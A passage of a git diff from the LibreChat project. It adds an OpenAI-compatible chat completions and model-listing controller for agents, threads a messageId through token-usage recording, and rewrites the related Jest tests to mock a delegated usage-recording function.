AgentClient extends BaseClient { model: clientOptions.model, balance: balanceConfig, transactions: transactionsConfig, + messageId: this.responseMessageId, }).catch((err) => { logger.error( '[api/server/controllers/agents/client.js #titleConvo] Error recording collected usage', @@ -1363,6 +1137,7 @@ class AgentClient extends BaseClient { model, context, balance, + messageId: this.responseMessageId, conversationId: this.conversationId, user: this.user ?? this.options.req.user?.id, endpointTokenConfig: this.options.endpointTokenConfig, @@ -1381,6 +1156,7 @@ class AgentClient extends BaseClient { model, balance, context: 'reasoning', + messageId: this.responseMessageId, conversationId: this.conversationId, user: this.user ?? this.options.req.user?.id, endpointTokenConfig: this.options.endpointTokenConfig, @@ -1396,7 +1172,11 @@ class AgentClient extends BaseClient { } } + /** Anthropic Claude models use a distinct BPE tokenizer; all others default to o200k_base. */ getEncoding() { + if (this.model && this.model.toLowerCase().includes('claude')) { + return 'claude'; + } return 'o200k_base'; } diff --git a/api/server/controllers/agents/client.test.js b/api/server/controllers/agents/client.test.js index 9dd3567047..42481e1644 100644 --- a/api/server/controllers/agents/client.test.js +++ b/api/server/controllers/agents/client.test.js @@ -263,6 +263,7 @@ describe('AgentClient - titleConvo', () => { transactions: { enabled: true, }, + messageId: 'response-123', }); }); diff --git a/api/server/controllers/agents/openai.js b/api/server/controllers/agents/openai.js new file mode 100644 index 0000000000..e8561f15fe --- /dev/null +++ b/api/server/controllers/agents/openai.js @@ -0,0 +1,713 @@ +const { nanoid } = require('nanoid'); +const { logger } = require('@librechat/data-schemas'); +const { Callback, ToolEndHandler, formatAgentMessages } = require('@librechat/agents'); +const { EModelEndpoint, ResourceType, PermissionBits } = require('librechat-data-provider'); +const { + writeSSE, + createRun, + createChunk, + buildToolSet, + sendFinalChunk, + createSafeUser, + validateRequest, + initializeAgent, + getBalanceConfig, + createErrorResponse, + recordCollectedUsage, + getTransactionsConfig, + createToolExecuteHandler, + buildNonStreamingResponse, + createOpenAIStreamTracker, + createOpenAIContentAggregator, + isChatCompletionValidationFailure, +} = require('@librechat/api'); +const { loadAgentTools, loadToolsForExecution } = require('~/server/services/ToolService'); +const { createToolEndCallback } = require('~/server/controllers/agents/callbacks'); +const { findAccessibleResources } = require('~/server/services/PermissionService'); +const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens'); +const { getMultiplier, getCacheMultiplier } = require('~/models/tx'); +const { getConvoFiles } = require('~/models/Conversation'); +const { getAgent, getAgents } = require('~/models/Agent'); +const db = require('~/models'); + +/** + * Creates a tool loader function for the agent. + * @param {AbortSignal} signal - The abort signal + * @param {boolean} [definitionsOnly=true] - When true, returns only serializable + * tool definitions without creating full tool instances (for event-driven mode) + */ +function createToolLoader(signal, definitionsOnly = true) { + return async function loadTools({ + req, + res, + tools, + model, + agentId, + provider, + tool_options, + tool_resources, + }) { + const agent = { id: agentId, tools, provider, model, tool_options }; + try { + return await loadAgentTools({ + req, + res, + agent, + signal, + tool_resources, + definitionsOnly, + streamId: null, // No resumable stream for OpenAI compat + }); + } catch (error) { + logger.error('Error loading tools for agent ' + agentId, error); + } + }; +} + +/** + * Convert content part to internal format + * @param {Object} part - Content part + * @returns {Object} Converted part + */ +function convertContentPart(part) { + if (part.type === 'text') { + return { type: 'text', text: part.text }; + } + if (part.type === 'image_url') { + return { type: 'image_url', image_url: part.image_url }; + } + return part; +} + +/** + * Convert OpenAI messages to internal format + * @param {Array} messages - OpenAI format messages + * @returns {Array} Internal format messages + */ +function convertMessages(messages) { + return messages.map((msg) => { + let content; + if (typeof msg.content === 'string') { + content = msg.content; + } else if (msg.content) { + content = msg.content.map(convertContentPart); + } else { + content = ''; + } + + return { + role: msg.role, + content, + ...(msg.name && { name: msg.name }), + ...(msg.tool_calls && { tool_calls: msg.tool_calls }), + ...(msg.tool_call_id && { tool_call_id: msg.tool_call_id }), + }; + }); +} + +/** + * Send an error response in OpenAI format + */ +function sendErrorResponse(res, statusCode, message, type = 'invalid_request_error', code = null) { + res.status(statusCode).json(createErrorResponse(message, type, code)); +} + +/** + * OpenAI-compatible chat completions controller for agents. + * + * POST /v1/chat/completions + * + * Request format: + * { + * "model": "agent_id_here", + * "messages": [{"role": "user", "content": "Hello!"}], + * "stream": true, + * "conversation_id": "optional", + * "parent_message_id": "optional" + * } + */ +const OpenAIChatCompletionController = async (req, res) => { + const appConfig = req.config; + const requestStartTime = Date.now(); + + const validation = validateRequest(req.body); + if (isChatCompletionValidationFailure(validation)) { + return sendErrorResponse(res, 400, validation.error); + } + + const request = validation.request; + const agentId = request.model; + + // Look up the agent + const agent = await getAgent({ id: agentId }); + if (!agent) { + return sendErrorResponse( + res, + 404, + `Agent not found: ${agentId}`, + 'invalid_request_error', + 'model_not_found', + ); + } + + const responseId = `chatcmpl-${nanoid()}`; + const conversationId = request.conversation_id ?? nanoid(); + const parentMessageId = request.parent_message_id ?? null; + const created = Math.floor(Date.now() / 1000); + + /** @type {import('@librechat/api').OpenAIResponseContext} — key must be `requestId` to match the type used by createChunk/buildNonStreamingResponse */ + const context = { + created, + requestId: responseId, + model: agentId, + }; + + logger.debug( + `[OpenAI API] Response ${responseId} started for agent ${agentId}, stream: ${request.stream}`, + ); + + // Set up abort controller + const abortController = new AbortController(); + + // Handle client disconnect + req.on('close', () => { + if (!abortController.signal.aborted) { + abortController.abort(); + logger.debug('[OpenAI API] Client disconnected, aborting'); + } + }); + + try { + // Build allowed providers set + const allowedProviders = new Set( + appConfig?.endpoints?.[EModelEndpoint.agents]?.allowedProviders, + ); + + // Create tool loader + const loadTools = createToolLoader(abortController.signal); + + // Initialize the agent first to check for disableStreaming + const endpointOption = { + endpoint: agent.provider, + model_parameters: agent.model_parameters ?? {}, + }; + + const primaryConfig = await initializeAgent( + { + req, + res, + loadTools, + requestFiles: [], + conversationId, + parentMessageId, + agent, + endpointOption, + allowedProviders, + isInitialAgent: true, + }, + { + getConvoFiles, + getFiles: db.getFiles, + getUserKey: db.getUserKey, + getMessages: db.getMessages, + updateFilesUsage: db.updateFilesUsage, + getUserKeyValues: db.getUserKeyValues, + getUserCodeFiles: db.getUserCodeFiles, + getToolFilesByIds: db.getToolFilesByIds, + getCodeGeneratedFiles: db.getCodeGeneratedFiles, + }, + ); + + // Determine if streaming is enabled (check both request and agent config) + const streamingDisabled = !!primaryConfig.model_parameters?.disableStreaming; + const isStreaming = request.stream === true && !streamingDisabled; + + // Create tracker for streaming or aggregator for non-streaming + const tracker = isStreaming ? createOpenAIStreamTracker() : null; + const aggregator = isStreaming ? null : createOpenAIContentAggregator(); + + // Set up response for streaming + if (isStreaming) { + res.setHeader('Content-Type', 'text/event-stream'); + res.setHeader('Cache-Control', 'no-cache'); + res.setHeader('Connection', 'keep-alive'); + res.setHeader('X-Accel-Buffering', 'no'); + res.flushHeaders(); + + // Send initial chunk with role + const initialChunk = createChunk(context, { role: 'assistant' }); + writeSSE(res, initialChunk); + } + + // Create handler config for OpenAI streaming (only used when streaming) + const handlerConfig = isStreaming + ? { + res, + context, + tracker, + } + : null; + + const collectedUsage = []; + /** @type {Promise[]} */ + const artifactPromises = []; + + const toolEndCallback = createToolEndCallback({ req, res, artifactPromises, streamId: null }); + + const toolExecuteOptions = { + loadTools: async (toolNames) => { + return loadToolsForExecution({ + req, + res, + agent, + toolNames, + signal: abortController.signal, + toolRegistry: primaryConfig.toolRegistry, + userMCPAuthMap: primaryConfig.userMCPAuthMap, + tool_resources: primaryConfig.tool_resources, + }); + }, + toolEndCallback, + }; + + const openaiMessages = convertMessages(request.messages); + + const toolSet = buildToolSet(primaryConfig); + const { messages: formattedMessages, indexTokenCountMap } = formatAgentMessages( + openaiMessages, + {}, + toolSet, + ); + + /** + * Create a simple handler that processes data + */ + const createHandler = (processor) => ({ + handle: (_event, data) => { + if (processor) { + processor(data); + } + }, + }); + + /** + * Stream text content in OpenAI format + */ + const streamText = (text) => { + if (!text) { + return; + } + if (isStreaming) { + tracker.addText(); + writeSSE(res, createChunk(context, { content: text })); + } else { + aggregator.addText(text); + } + }; + + /** + * Stream reasoning content in OpenAI format (OpenRouter convention) + */ + const streamReasoning = (text) => { + if (!text) { + return; + } + if (isStreaming) { + tracker.addReasoning(); + writeSSE(res, createChunk(context, { reasoning: text })); + } else { + aggregator.addReasoning(text); + } + }; + + // Event handlers for OpenAI-compatible streaming + const handlers = { + // Text content streaming + on_message_delta: createHandler((data) => { + const content = data?.delta?.content; + if (Array.isArray(content)) { + for (const part of content) { + if (part.type === 'text' && part.text) { + streamText(part.text); + } + } + } + }), + + // Reasoning/thinking content streaming + on_reasoning_delta: createHandler((data) => { + const content = data?.delta?.content; + if (Array.isArray(content)) { + for (const part of content) { + const text = part.think || part.text; + if (text) { + streamReasoning(text); + } + } + } + }), + + // Tool call initiation - streams id and name (from on_run_step) + on_run_step: createHandler((data) => { + const stepDetails = data?.stepDetails; + if (stepDetails?.type === 'tool_calls' && stepDetails.tool_calls) { + for (const tc of stepDetails.tool_calls) { + const toolIndex = data.index ?? 0; + const toolId = tc.id ?? ''; + const toolName = tc.name ?? ''; + const toolCall = { + id: toolId, + type: 'function', + function: { name: toolName, arguments: '' }, + }; + + // Track tool call in tracker or aggregator + if (isStreaming) { + if (!tracker.toolCalls.has(toolIndex)) { + tracker.toolCalls.set(toolIndex, toolCall); + } + // Stream initial tool call chunk (like OpenAI does) + writeSSE( + res, + createChunk(context, { + tool_calls: [{ index: toolIndex, ...toolCall }], + }), + ); + } else { + if (!aggregator.toolCalls.has(toolIndex)) { + aggregator.toolCalls.set(toolIndex, toolCall); + } + } + } + } + }), + + // Tool call argument streaming (from on_run_step_delta) + on_run_step_delta: createHandler((data) => { + const delta = data?.delta; + if (delta?.type === 'tool_calls' && delta.tool_calls) { + for (const tc of delta.tool_calls) { + const args = tc.args ?? ''; + if (!args) { + continue; + } + + const toolIndex = tc.index ?? 0; + + // Update tool call arguments + const targetMap = isStreaming ? tracker.toolCalls : aggregator.toolCalls; + const tracked = targetMap.get(toolIndex); + if (tracked) { + tracked.function.arguments += args; + } + + // Stream argument delta (only for streaming) + if (isStreaming) { + writeSSE( + res, + createChunk(context, { + tool_calls: [ + { + index: toolIndex, + function: { arguments: args }, + }, + ], + }), + ); + } + } + } + }), + + // Usage tracking + on_chat_model_end: createHandler((data) => { + const usage = data?.output?.usage_metadata; + if (usage) { + collectedUsage.push(usage); + const target = isStreaming ? tracker : aggregator; + target.usage.promptTokens += usage.input_tokens ?? 0; + target.usage.completionTokens += usage.output_tokens ?? 0; + } + }), + on_run_step_completed: createHandler(), + // Use proper ToolEndHandler for processing artifacts (images, file citations, code output) + on_tool_end: new ToolEndHandler(toolEndCallback, logger), + on_chain_stream: createHandler(), + on_chain_end: createHandler(), + on_agent_update: createHandler(), + on_custom_event: createHandler(), + // Event-driven tool execution handler + on_tool_execute: createToolExecuteHandler(toolExecuteOptions), + }; + + // Create and run the agent + const userId = req.user?.id ?? 'api-user'; + + // Extract userMCPAuthMap from primaryConfig (needed for MCP tool connections) + const userMCPAuthMap = primaryConfig.userMCPAuthMap; + + const run = await createRun({ + agents: [primaryConfig], + messages: formattedMessages, + indexTokenCountMap, + runId: responseId, + signal: abortController.signal, + customHandlers: handlers, + requestBody: { + messageId: responseId, + conversationId, + }, + user: { id: userId }, + }); + + if (!run) { + throw new Error('Failed to create agent run'); + } + + // Process the stream + const config = { + runName: 'AgentRun', + configurable: { + thread_id: conversationId, + user_id: userId, + user: createSafeUser(req.user), + requestBody: { + messageId: responseId, + conversationId, + }, + ...(userMCPAuthMap != null && { userMCPAuthMap }), + }, + signal: abortController.signal, + streamMode: 'values', + version: 'v2', + }; + + await run.processStream({ messages: formattedMessages }, config, { + callbacks: { + [Callback.TOOL_ERROR]: (graph, error, toolId) => { + logger.error(`[OpenAI API] Tool Error "${toolId}"`, error); + }, + }, + }); + + // Record token usage against balance + const balanceConfig = getBalanceConfig(appConfig); + const transactionsConfig = getTransactionsConfig(appConfig); + recordCollectedUsage( + { + spendTokens, + spendStructuredTokens, + pricing: { getMultiplier, getCacheMultiplier }, + bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance }, + }, + { + user: userId, + conversationId, + collectedUsage, + context: 'message', + messageId: responseId, + balance: balanceConfig, + transactions: transactionsConfig, + model: primaryConfig.model || agent.model_parameters?.model, + }, + ).catch((err) => { + logger.error('[OpenAI API] Error recording usage:', err); + }); + + // Finalize response + const duration = Date.now() - requestStartTime; + if (isStreaming) { + sendFinalChunk(handlerConfig); + res.end(); + logger.debug(`[OpenAI API] Response ${responseId} completed in ${duration}ms (streaming)`); + + // Wait for artifact processing after response ends (non-blocking) + if (artifactPromises.length > 0) { + Promise.all(artifactPromises).catch((artifactError) => { + logger.warn('[OpenAI API] Error processing artifacts:', artifactError); + }); + } + } else { + // For non-streaming, wait for artifacts before sending response + if (artifactPromises.length > 0) { + try { + await Promise.all(artifactPromises); + } catch (artifactError) { + logger.warn('[OpenAI API] Error processing artifacts:', artifactError); + } + } + + // Build usage from aggregated data + const usage = { + prompt_tokens: aggregator.usage.promptTokens, + completion_tokens: aggregator.usage.completionTokens, + total_tokens: aggregator.usage.promptTokens + aggregator.usage.completionTokens, + }; + + if (aggregator.usage.reasoningTokens > 0) { + usage.completion_tokens_details = { + reasoning_tokens: aggregator.usage.reasoningTokens, + }; + } + + const response = buildNonStreamingResponse( + context, + aggregator.getText(), + aggregator.getReasoning(), + aggregator.toolCalls, + usage, + ); + res.json(response); + logger.debug( + `[OpenAI API] Response ${responseId} completed in ${duration}ms (non-streaming)`, + ); + } + } catch (error) { + const errorMessage = error instanceof Error ? error.message : 'An error occurred'; + logger.error('[OpenAI API] Error:', error); + + // Check if we already started streaming (headers sent) + if (res.headersSent) { + // Headers already sent, send error in stream + const errorChunk = createChunk(context, { content: `\n\nError: ${errorMessage}` }, 'stop'); + writeSSE(res, errorChunk); + writeSSE(res, '[DONE]'); + res.end(); + } else { + // Forward upstream provider status codes (e.g., Anthropic 400s) instead of masking as 500 + const statusCode = + typeof error?.status === 'number' && error.status >= 400 && error.status < 600 + ? error.status + : 500; + const errorType = + statusCode >= 400 && statusCode < 500 ? 'invalid_request_error' : 'server_error'; + sendErrorResponse(res, statusCode, errorMessage, errorType); + } + } +}; + +/** + * List available agents as models (filtered by remote access permissions) + * + * GET /v1/models + */ +const ListModelsController = async (req, res) => { + try { + const userId = req.user?.id; + const userRole = req.user?.role; + + if (!userId) { + return sendErrorResponse(res, 401, 'Authentication required', 'auth_error'); + } + + // Find agents the user has remote access to (VIEW permission on REMOTE_AGENT) + const accessibleAgentIds = await findAccessibleResources({ + userId, + role: userRole, + resourceType: ResourceType.REMOTE_AGENT, + requiredPermissions: PermissionBits.VIEW, + }); + + // Get the accessible agents + let agents = []; + if (accessibleAgentIds.length > 0) { + agents = await getAgents({ _id: { $in: accessibleAgentIds } }); + } + + const models = agents.map((agent) => ({ + id: agent.id, + object: 'model', + created: Math.floor(new Date(agent.createdAt || Date.now()).getTime() / 1000), + owned_by: 'librechat', + permission: [], + root: agent.id, + parent: null, + // LibreChat extensions + name: agent.name, + description: agent.description, + provider: agent.provider, + })); + + res.json({ + object: 'list', + data: models, + }); + } catch (error) { + const errorMessage = error instanceof Error ? error.message : 'Failed to list models'; + logger.error('[OpenAI API] Error listing models:', error); + sendErrorResponse(res, 500, errorMessage, 'server_error'); + } +}; + +/** + * Get a specific model/agent (with remote access permission check) + * + * GET /v1/models/:model + */ +const GetModelController = async (req, res) => { + try { + const { model } = req.params; + const userId = req.user?.id; + const userRole = req.user?.role; + + if (!userId) { + return sendErrorResponse(res, 401, 'Authentication required', 'auth_error'); + } + + const agent = await getAgent({ id: model }); + + if (!agent) { + return sendErrorResponse( + res, + 404, + `Model not found: ${model}`, + 'invalid_request_error', + 'model_not_found', + ); + } + + // Check if user has remote access to this agent + const accessibleAgentIds = await findAccessibleResources({ + userId, + role: userRole, + resourceType: ResourceType.REMOTE_AGENT, + requiredPermissions: PermissionBits.VIEW, + }); + + const hasAccess = accessibleAgentIds.some((id) => id.toString() === agent._id.toString()); + + if (!hasAccess) { + return sendErrorResponse( + res, + 403, + `No remote access to model: ${model}`, + 'permission_error', + 'access_denied', + ); + } + + res.json({ + id: agent.id, + object: 'model', + created: Math.floor(new Date(agent.createdAt || Date.now()).getTime() / 1000), + owned_by: 'librechat', + permission: [], + root: agent.id, + parent: null, + // LibreChat extensions + name: agent.name, + description: agent.description, + provider: agent.provider, + }); + } catch (error) { + const errorMessage = error instanceof Error ? error.message : 'Failed to get model'; + logger.error('[OpenAI API] Error getting model:', error); + sendErrorResponse(res, 500, errorMessage, 'server_error'); + } +}; + +module.exports = { + OpenAIChatCompletionController, + ListModelsController, + GetModelController, +}; diff --git a/api/server/controllers/agents/recordCollectedUsage.spec.js b/api/server/controllers/agents/recordCollectedUsage.spec.js index 6904f2ed39..21720023ca 100644 --- a/api/server/controllers/agents/recordCollectedUsage.spec.js +++ b/api/server/controllers/agents/recordCollectedUsage.spec.js @@ -2,23 +2,37 @@ * Tests for AgentClient.recordCollectedUsage * * This is a critical function that handles token spending for agent LLM calls. - * It must correctly handle: - * - Sequential execution (single agent with tool calls) - * - Parallel execution (multiple agents with independent inputs) - * - Cache token handling (OpenAI and Anthropic formats) + * The client now delegates to the TS recordCollectedUsage from @librechat/api, + * passing pricing and bulkWriteOps deps. */ const { EModelEndpoint } = require('librechat-data-provider'); -// Mock dependencies before requiring the module const mockSpendTokens = jest.fn().mockResolvedValue(); const mockSpendStructuredTokens = jest.fn().mockResolvedValue(); +const mockGetMultiplier = jest.fn().mockReturnValue(1); +const mockGetCacheMultiplier = jest.fn().mockReturnValue(null); +const mockUpdateBalance = jest.fn().mockResolvedValue({}); +const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined); +const mockRecordCollectedUsage = jest + .fn() + .mockResolvedValue({ input_tokens: 100, output_tokens: 50 }); jest.mock('~/models/spendTokens', () => ({ spendTokens: (...args) => mockSpendTokens(...args), spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args), })); +jest.mock('~/models/tx', () => ({ + getMultiplier: mockGetMultiplier, + getCacheMultiplier: mockGetCacheMultiplier, +})); + +jest.mock('~/models', () => ({ + updateBalance: mockUpdateBalance, + bulkInsertTransactions: mockBulkInsertTransactions, +})); + jest.mock('~/config', () => ({ logger: { debug: jest.fn(), @@ -39,6 +53,14 @@ jest.mock('@librechat/agents', () => ({ }), })); +jest.mock('@librechat/api', () => { + const actual = jest.requireActual('@librechat/api'); + return { + ...actual, + recordCollectedUsage: (...args) => mockRecordCollectedUsage(...args), + }; +}); + const AgentClient = require('./client'); describe('AgentClient - recordCollectedUsage', () => { @@ -74,31 +96,66 @@ describe('AgentClient - recordCollectedUsage', () => { }); describe('basic functionality', () => { - it('should return early if collectedUsage is empty', async () => { + it('should delegate to recordCollectedUsage with full deps', async () => { + const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }]; + + await client.recordCollectedUsage({ + collectedUsage, + balance: { enabled: true }, + transactions: { enabled: true }, + }); + + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + const [deps, params] = mockRecordCollectedUsage.mock.calls[0]; + + expect(deps).toHaveProperty('spendTokens'); + expect(deps).toHaveProperty('spendStructuredTokens'); + expect(deps).toHaveProperty('pricing'); + expect(deps.pricing).toHaveProperty('getMultiplier'); + expect(deps.pricing).toHaveProperty('getCacheMultiplier'); + expect(deps).toHaveProperty('bulkWriteOps'); + expect(deps.bulkWriteOps).toHaveProperty('insertMany'); + expect(deps.bulkWriteOps).toHaveProperty('updateBalance'); + + expect(params).toEqual( + expect.objectContaining({ + user: 'user-123', + conversationId: 'convo-123', + collectedUsage, + context: 'message', + balance: { enabled: true }, + transactions: { enabled: true }, + }), + ); + }); + + it('should not set this.usage if collectedUsage is empty (returns undefined)', async () => { + mockRecordCollectedUsage.mockResolvedValue(undefined); + await client.recordCollectedUsage({ collectedUsage: [], balance: { enabled: true }, transactions: { enabled: true }, }); - expect(mockSpendTokens).not.toHaveBeenCalled(); - expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); expect(client.usage).toBeUndefined(); }); - it('should return early if collectedUsage is null', async () => { + it('should not set this.usage if collectedUsage is null (returns undefined)', async () => { + mockRecordCollectedUsage.mockResolvedValue(undefined); + await client.recordCollectedUsage({ collectedUsage: null, balance: { enabled: true }, transactions: { enabled: true }, }); - expect(mockSpendTokens).not.toHaveBeenCalled(); expect(client.usage).toBeUndefined(); }); - it('should handle single usage entry correctly', async () => { - const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }]; + it('should set this.usage from recordCollectedUsage result', async () => { + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 75 }); + const collectedUsage = [{ input_tokens: 200, output_tokens: 75, model: 'gpt-4' }]; await client.recordCollectedUsage({ collectedUsage, @@ -106,521 +163,122 @@ describe('AgentClient - recordCollectedUsage', () => { transactions: { enabled: true }, }); - expect(mockSpendTokens).toHaveBeenCalledTimes(1); - expect(mockSpendTokens).toHaveBeenCalledWith( - expect.objectContaining({ - conversationId: 'convo-123', - user: 'user-123', - model: 'gpt-4', - }), - { promptTokens: 100, completionTokens: 50 }, - ); - expect(client.usage.input_tokens).toBe(100); - expect(client.usage.output_tokens).toBe(50); - }); - - it('should skip null entries in collectedUsage', async () => { - const collectedUsage = [ - { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, - null, - { input_tokens: 200, output_tokens: 60, model: 'gpt-4' }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - expect(mockSpendTokens).toHaveBeenCalledTimes(2); + expect(client.usage).toEqual({ input_tokens: 200, output_tokens: 75 }); }); }); describe('sequential execution (single agent with tool calls)', () => { - it('should calculate tokens correctly for sequential tool calls', async () => { - // Sequential flow: output of call N becomes part of input for call N+1 - // Call 1: input=100, output=50 - // Call 2: input=150 (100+50), output=30 - // Call 3: input=180 (150+30), output=20 + it('should pass all usage entries to recordCollectedUsage', async () => { const collectedUsage = [ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, { input_tokens: 150, output_tokens: 30, model: 'gpt-4' }, { input_tokens: 180, output_tokens: 20, model: 'gpt-4' }, ]; + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 100 }); + await client.recordCollectedUsage({ collectedUsage, balance: { enabled: true }, transactions: { enabled: true }, }); - expect(mockSpendTokens).toHaveBeenCalledTimes(3); - // Total output should be sum of all output_tokens: 50 + 30 + 20 = 100 + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + const [, params] = mockRecordCollectedUsage.mock.calls[0]; + expect(params.collectedUsage).toHaveLength(3); expect(client.usage.output_tokens).toBe(100); - expect(client.usage.input_tokens).toBe(100); // First entry's input + expect(client.usage.input_tokens).toBe(100); }); }); describe('parallel execution (multiple agents)', () => { - it('should handle parallel agents with independent input tokens', async () => { - // Parallel agents have INDEPENDENT input tokens (not cumulative) - // Agent A: input=100, output=50 - // Agent B: input=80, output=40 (different context, not 100+50) + it('should pass parallel agent usage to recordCollectedUsage', async () => { const collectedUsage = [ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, { input_tokens: 80, output_tokens: 40, model: 'gpt-4' }, ]; + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 90 }); + await client.recordCollectedUsage({ collectedUsage, balance: { enabled: true }, transactions: { enabled: true }, }); - expect(mockSpendTokens).toHaveBeenCalledTimes(2); - // Expected total output: 50 + 40 = 90 - // output_tokens must be positive and should reflect total output + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + expect(client.usage.output_tokens).toBe(90); expect(client.usage.output_tokens).toBeGreaterThan(0); }); - it('should NOT produce negative output_tokens for parallel execution', async () => { - // Critical bug scenario: parallel agents where second agent has LOWER input tokens + /** Bug regression: parallel agents where second agent has LOWER input tokens produced negative output via incremental calculation. */ + it('should NOT produce negative output_tokens', async () => { const collectedUsage = [ { input_tokens: 200, output_tokens: 100, model: 'gpt-4' }, { input_tokens: 50, output_tokens: 30, model: 'gpt-4' }, ]; + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 }); + await client.recordCollectedUsage({ collectedUsage, balance: { enabled: true }, transactions: { enabled: true }, }); - // output_tokens MUST be positive for proper token tracking expect(client.usage.output_tokens).toBeGreaterThan(0); - // Correct value should be 100 + 30 = 130 - }); - - it('should calculate correct total output for parallel agents', async () => { - // Three parallel agents with independent contexts - const collectedUsage = [ - { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, - { input_tokens: 120, output_tokens: 60, model: 'gpt-4-turbo' }, - { input_tokens: 80, output_tokens: 40, model: 'claude-3' }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - expect(mockSpendTokens).toHaveBeenCalledTimes(3); - // Total output should be 50 + 60 + 40 = 150 - expect(client.usage.output_tokens).toBe(150); - }); - - it('should handle worst-case parallel scenario without negative tokens', async () => { - // Extreme case: first agent has very high input, subsequent have low - const collectedUsage = [ - { input_tokens: 1000, output_tokens: 500, model: 'gpt-4' }, - { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, - { input_tokens: 50, output_tokens: 25, model: 'gpt-4' }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - // Must be positive, should be 500 + 50 + 25 = 575 - expect(client.usage.output_tokens).toBeGreaterThan(0); - expect(client.usage.output_tokens).toBe(575); + expect(client.usage.output_tokens).toBe(130); }); }); describe('real-world scenarios', () => { - it('should correctly sum output tokens for sequential tool calls with growing context', async () => { - // Real production data: Claude Opus with multiple tool calls - // Context grows as tool results are added, but output_tokens should only count model generations + it('should correctly handle sequential tool calls with growing context', async () => { const collectedUsage = [ - { - input_tokens: 31596, - output_tokens: 151, - total_tokens: 31747, - input_token_details: { cache_read: 0, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 35368, - output_tokens: 150, - total_tokens: 35518, - input_token_details: { cache_read: 0, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 58362, - output_tokens: 295, - total_tokens: 58657, - input_token_details: { cache_read: 0, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 112604, - output_tokens: 193, - total_tokens: 112797, - input_token_details: { cache_read: 0, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 257440, - output_tokens: 2217, - total_tokens: 259657, - input_token_details: { cache_read: 0, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, + { input_tokens: 31596, output_tokens: 151, model: 'claude-opus-4-5-20251101' }, + { input_tokens: 35368, output_tokens: 150, model: 'claude-opus-4-5-20251101' }, + { input_tokens: 58362, output_tokens: 295, model: 'claude-opus-4-5-20251101' }, + { input_tokens: 112604, output_tokens: 193, model: 'claude-opus-4-5-20251101' }, + { input_tokens: 257440, output_tokens: 2217, model: 'claude-opus-4-5-20251101' }, ]; + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 3006 }); + await client.recordCollectedUsage({ collectedUsage, balance: { enabled: true }, transactions: { enabled: true }, }); - // input_tokens should be first entry's input (initial context) expect(client.usage.input_tokens).toBe(31596); - - // output_tokens should be sum of all model outputs: 151 + 150 + 295 + 193 + 2217 = 3006 - // NOT the inflated value from incremental calculation (338,559) expect(client.usage.output_tokens).toBe(3006); - - // Verify spendTokens was called for each entry with correct values - expect(mockSpendTokens).toHaveBeenCalledTimes(5); - expect(mockSpendTokens).toHaveBeenNthCalledWith( - 1, - expect.objectContaining({ model: 'claude-opus-4-5-20251101' }), - { promptTokens: 31596, completionTokens: 151 }, - ); - expect(mockSpendTokens).toHaveBeenNthCalledWith( - 5, - expect.objectContaining({ model: 'claude-opus-4-5-20251101' }), - { promptTokens: 257440, completionTokens: 2217 }, - ); }); - it('should handle single followup message correctly', async () => { - // Real production data: followup to the above conversation - const collectedUsage = [ - { - input_tokens: 263406, - output_tokens: 257, - total_tokens: 263663, - input_token_details: { cache_read: 0, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - expect(client.usage.input_tokens).toBe(263406); - expect(client.usage.output_tokens).toBe(257); - - expect(mockSpendTokens).toHaveBeenCalledTimes(1); - expect(mockSpendTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'claude-opus-4-5-20251101' }), - { promptTokens: 263406, completionTokens: 257 }, - ); - }); - - it('should ensure output_tokens > 0 check passes for BaseClient.sendMessage', async () => { - // This verifies the fix for the duplicate token spending bug - // BaseClient.sendMessage checks: if (usage != null && Number(usage[this.outputTokensKey]) > 0) - const collectedUsage = [ - { - input_tokens: 31596, - output_tokens: 151, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 35368, - output_tokens: 150, - model: 'claude-opus-4-5-20251101', - }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - const usage = client.getStreamUsage(); - - // The check that was failing before the fix - expect(usage).not.toBeNull(); - expect(Number(usage.output_tokens)).toBeGreaterThan(0); - - // Verify correct value - expect(usage.output_tokens).toBe(301); // 151 + 150 - }); - - it('should correctly handle cache tokens with multiple tool calls', async () => { - // Real production data: Claude Opus with cache tokens (prompt caching) - // First entry has cache_creation, subsequent entries have cache_read + it('should correctly handle cache tokens', async () => { const collectedUsage = [ { input_tokens: 788, output_tokens: 163, - total_tokens: 951, input_token_details: { cache_read: 0, 